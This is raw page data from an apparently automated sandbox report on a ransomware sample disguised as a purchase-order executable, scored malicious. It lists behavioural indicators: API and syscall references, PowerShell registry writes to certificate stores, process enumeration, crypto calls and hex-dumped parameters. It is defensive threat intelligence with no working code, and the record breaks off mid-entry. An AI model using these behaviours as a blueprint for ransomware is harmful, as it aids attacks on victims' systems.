26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 5d:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4c6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Chaos.Generic Sample 03ff10f62625… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 03ff10f62625…. Malware family: Ransom.Chaos.Generic. Threat score 100/100. 15/24 AV engines flagged this file. 10 malicious and 35 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","keywords":["Malicious","Ransom.Chaos.Generic","malware analysis","sandbox report","threat intelligence","03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db"],"about":{"@type":"SoftwareApplication","name":"HJ GROUPS - PURCHASE ORDER #170331.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Chaos.Generic","antivirusDetections":{"malicious":15,"total":24},"behavioralIndicators":{"malicious":10,"suspicious":35},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T6d8,Found reference to API "RuntimeCompatibilityAttribute" (Indicator: "time"; Source: "sample.bin"), Found reference to API "ReadToEnd" (Indicator: "read"; Source: "sample.bin"), Found reference to API "WaitForExit" (Indicator: "exit"; Source: "sample.bin"), Found reference to API "Select" (Indicator: "select"; Source: "sample.bin"), Found reference to API "RuntimeHelpers" (Indicator: "time"; Source: "sample.bin"), Found reference to API "set_CreateNoWindow" (Indicator: "creat"; Source: "sample.bin"), Found reference to API "RuntimeFieldHandle" (Indicator: "time"; Source: "sample.bin"), Found reference to API "System.Runtime.CompilerServices" (Indicator: "time"; Source: "sample.bin"), Found reference to API "TextReader" (Indicator: "read"; Source: "sample.bin"), Found reference to API "Adobe Reader " (Indicator: "read"; Source: "sample.bin"), Found reference to API "WriteAllBytes" (Indicator: "write"; Source: "sample.bin"), file/memory contains long string with (Indicator: "pause"; Source: "sample.bin"), file/memory contains long string with (Indicator: "read"; Source: "sample.bin"), file/memory contains long string with (Indicator: "stat"; Source: "sample.bin"), file/memory contains long string with (Indicator: "time"; Source: "sample.bin"), Found reference to API "StreamReader" (Indicator: "read"; Source: "sample.bin"), Found reference to API "SelectMany" (Indicator: "select"; Source: "sample.bin"), Found reference to API "Read" (Indicator: "read"; Source: "sample.bin"), Found reference to API "Adobe Reader" (Indicator: "read"; Source: "sample.bin"), Found reference to API "__StaticArrayInitTypeSize=7335" (Indicator: "stat"; Source: "sample.bin"), Found reference to API "WriteLine" (Indicator: "write"; Source: "sample.bin")28:T4c8,Calls a syscall: "execve" Calls a syscall: "brk" Calls a syscall: "mmap" Calls a syscall: "access" Calls a syscall: "openat" Calls a syscall: "fstat" Calls a syscall: "close" Calls a syscall: "read" Calls a syscall: "pread" Calls a syscall: "arch_prctl" Calls a syscall: "set_tid_address" Calls a syscall: "set_robust_list" Calls a syscall: "mprotect" Calls a syscall: "munmap" Calls a syscall: "lseek" Calls a syscall: "getrandom" Calls a syscall: "getpid" Calls a syscall: "readlink" Calls a syscall: "rt_sigaction" Calls a syscall: "rt_sigprocmask" Calls a syscall: "getdents64" Calls a syscall: "ftruncate" Calls a syscall: "sched_getaffinity" Calls a syscall: "clone3" Calls a syscall: "sigaltstack" Calls a syscall: "newfstatat" Calls a syscall: "write" Calls a syscall: "fcntl" Calls a syscall: "ioctl" Calls a syscall: "pipe2" Calls a syscall: "uname" Calls a syscall: "unlink" Calls a syscall: "exit_group" Calls a syscall: "create" Calls a syscall: "open" Calls a syscall: "prctl" Calls a syscall: "sched_getparam" Calls a syscall: "sched_getscheduler" Calls a syscall: "sched_get_priority_min" Calls a syscall: "sched_get_priority_max" Calls a syscall: "sched_setscheduler"29:T429,/usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libm.so.6 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libgcc_s.so.1 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libc.so.6 /usr/bin/mono-sgen reads file /usr/bin/mono /usr/bin/mono-sgen reads file /etc/mono/config /usr/bin/mono-sgen reads file /proc/self/maps /usr/bin/mono-sgen reads file /usr/share/locale/locale.alias /usr/bin/mono-sgen reads file /usr/lib/mono/aot-cache/amd64/mscorlib.dll.so /usr/bin/mono-sgen reads file /usr/lib/libmono-native.so /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libgssapi_krb5.so.2 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libkrb5.so.3 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libk5crypto.so.3 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libcom_err.so.2 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libkrb5support.so.0 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libkeyutils.so.1 /usr/bin/mono-sgen reads file /lib/x86_64-linux-gnu/libresolv.so.22a:T1033,Found string "ile:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources.EXE" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "??\C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources.exe" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation.ni.dll" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp") Found string "ile:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.EXE" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "??\C:\WINDOWS\System32\WindowsPowerShell\v1.0\en-US\System.Management.Automation.resources\System.Management.Automation.resources.dll" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "??\C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "ile:///C:/WINDOWS/System32/WindowsPowerShell/v1.0/en-US/System.Management.Automation.resources/System.Management.Automation.resources.DLL" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp, 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp, 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00000864.00000000.293247.FAD90000.00000004.mdmp") Found string "System.Management.Automation:" (Source: "00000000-00000864.00000001.295166.FD170000.00000004.mdmp, 00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found string "WS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00000864.00000002.296961.FD170000.00000004.mdmp") Found string "System.Management.Automation.pdb" (Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found string ":\WINDOWS\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\System.Management.Automation.ni.dll" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp") Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp, 00000000-00005088.00000001.293020.D7B20000.00000004.mdmp")2b:T40a,Found reference to API "MpFreeMemory" (Indicator: "FreeMemory"; Source: "00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp")2c:T66e,Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000864.00000001.295166.C3B83000.00000002.mdmp, 00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "RegisterWaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found reference to API "CreateTimerQueueTimer" (Indicator: "CreateTimerQueueTimer"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp")2d:Tb3b,"powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLIMPORTPUBLICKEYINFOEX2") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLIMPORTPUBLICKEYINFOEX2") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLIMPORTPUBLICKEYINFOEX") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLIMPORTPUBLICKEYINFOEX") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLCONVERTPUBLICKEYINFO") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CRYPTDLLCONVERTPUBLICKEYINFO") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CERTDLLVERIFYCERTIFICATECHAINPOLICY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 1\CERTDLLVERIFYCERTIFICATECHAINPOLICY") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\PHYSICALSTORES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPUBLISHER\SAFER") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES")2e:Ta56,"HJGROUPS-PURCHASEORDER#170331.exe" queried SystemProcessInformation at 00000000-00007312-00000C15-3465197329 [PID: 7312] "HJGROUPS-PURCHASEORDER#170331.exe" queried SystemProcessInformation at 00000000-00007312-00000C15-3465203383 [PID: 7312] "HJGROUPS-PURCHASEORDER#170331.exe" queried SystemProcessInformation at 00000000-00007312-00000C15-3465652195 [PID: 7312] "HJGROUPS-PURCHASEORDER#170331.exe" queried SystemProcessInformation at 00000000-00007312-00000C15-3465658402 [PID: 7312] "cmd.exe" queried SystemProcessInformation at 00000000-00003572-00000C15-3468981946 [PID: 3572] "cmd.exe" queried SystemProcessInformation at 00000000-00003572-00000C15-3468992166 [PID: 3572] "cmd.exe" queried SystemProcessInformation at 00000000-00003572-00000C15-3469361288 [PID: 3572] "cmd.exe" queried SystemProcessInformation at 00000000-00003572-00000C15-3469367561 [PID: 3572] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3472468205 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3472474347 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3475020022 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3475026647 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3476388447 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3476395048 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3476871043 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3477153509 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3477432780 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3477455255 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3477940555 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3477947711 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3479887716 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3480654341 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3480664027 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3482669709 [PID: 5088] "powershell.exe" queried SystemProcessInformation at 00000000-00005088-00000C15-3482686409 [PID: 5088]2f:Td4e,Found api reference "BCryptCreateHash" (Indicator: "BCryptCreateHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptGetProperty" (Indicator: "BCryptGetProperty"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptFinishHash" (Indicator: "BCryptFinishHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "BCryptDestroyHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "BCryptHashData"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptOpenAlgorithmProvider" (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptCreateHash" (Indicator: "CryptCreateHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptDestroyHash" (Indicator: "CryptDestroyHash"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptCloseAlgorithmProvider" (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptAcquireContextW" (Indicator: "CryptAcquireContextW"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptReleaseContext" (Indicator: "CryptReleaseContext"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptHashData" (Indicator: "CryptHashData"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptGetHashParam" (Indicator: "CryptGetHashParam"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptGenRandom" (Indicator: "CryptGenRandom"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; Source: "00000000-00000864.00000002.296961.A452A000.00000002.mdmp") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00000864.00000002.296961.FDDB2000.00000004.mdmp") Found api reference "CryptDecrypt" (Indicator: "CryptDecrypt"; Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp") Found api reference "CryptImportKey" (Indicator: "CryptImportKey"; Source: "00000000-00005088.00000000.292569.D7B20000.00000004.mdmp")30:T2a4f,"HJGROUPS-PURCHASEORDER#170331.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000008e8d1000000000018000000000000007ebbd1f8765400005f79f100000000000500000000000000a0e7d100000000007055f000000000002078f100000000001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000dfd3ff7f00004fa731e0d51a0000e046dfd3ff7f00006079f100000000009806e0d3ff7f00000091f100000000000000ccd1ff7f00000000000000000000e046dfd3ff7f00000300000000000000f3856bd4ff7f00006e47dfd3ff7f000027666bd4ff7f0000e0e7d100 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007312) "HJGROUPS-PURCHASEORDER#170331.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007312) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d58000002000000000000000000000000000000000000000000000028e4762a0c000000180000000c0000000eeeee1e659400005f5146fc860100001b00000000000000c0e3762a0c000000b05546fc86010000004c46fc860100001c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000dfd3ff7f0000cae1921600570000e046dfd3ff7f0000605146fc860100009806e0d3ff7f000090f146fc860100000000ccd1ff7f00000000000000000000e046dfd3ff7f00000300000000000000f3856bd4ff7f00006e47dfd3ff7f000027666bd4ff7f000000e4762a (UID: 00000000-00003572) "cmd.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003572) "cmd.exe" called "RtlGetVersion" with parameter 000000000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00003572) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 140100000a000000000000005d5800000200000000000000c938b7d1ff7f000080000000000000000000000000000000802df2f1df01000010336ed4ff7f0000000000000000000000001bf2df01000080d497294e0000001041b4d1ff7f000000cfc0d7df01000040d497294e000000000000000000000000000000000000000100000000000000b840b4d1ff7f00000600000000000000010000000000000000001bf2df0100003b4d12d2ff7f00000000000000000000f8d897294e0000000000000000000000d02a2df2df01000010b393f2df010000e8f8b3d1ff7f000010b393f2df010000d02a2df2df0100000d000000df0100000d00000000000000a0f683f2df010000f58728f2df010000d02a2df2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f042c7f2df0100000ac2bff2df01000020c1bff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f00000000000000000000f042c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000c6c1bff2df010000dcc1bff2df010000c6c1bff2df0100000ac2bff2df010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c6c1bff2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d58000002000000000000007040c7f2df010000acbbbff2df010000c0babff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f000000000000000000007040c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2df0100007ebbbff2df01000066bbbff2df010000acbbbff2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000066bbbff2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000f042c7f2df01000098b4c6f2df010000b0b3c6f2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f00000000000000000000f042c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000056b4c6f2df0100006ab4c6f2df01000056b4c6f2df01000098b4c6f2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000056b4c6f2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a000000000000005d5800000200000000000000a038c7f2df0100008ccabff2df010000a0c9bff2df010000f8a3882a4e000000e8a3882a4e000000e8a3882a01000000f8a5882a4e00000048737cd2ff7f00000000000000000000a038c7f2df010000ef5ec4cfff7f0000801d15d0ff7f000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000046cabff2df0100005ecabff2df01000046cabff2df0100008ccabff2df01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000046cabff2 (UID: 00000000-00005088) "powershell.exe" called "RtlGetVersion" with parameter 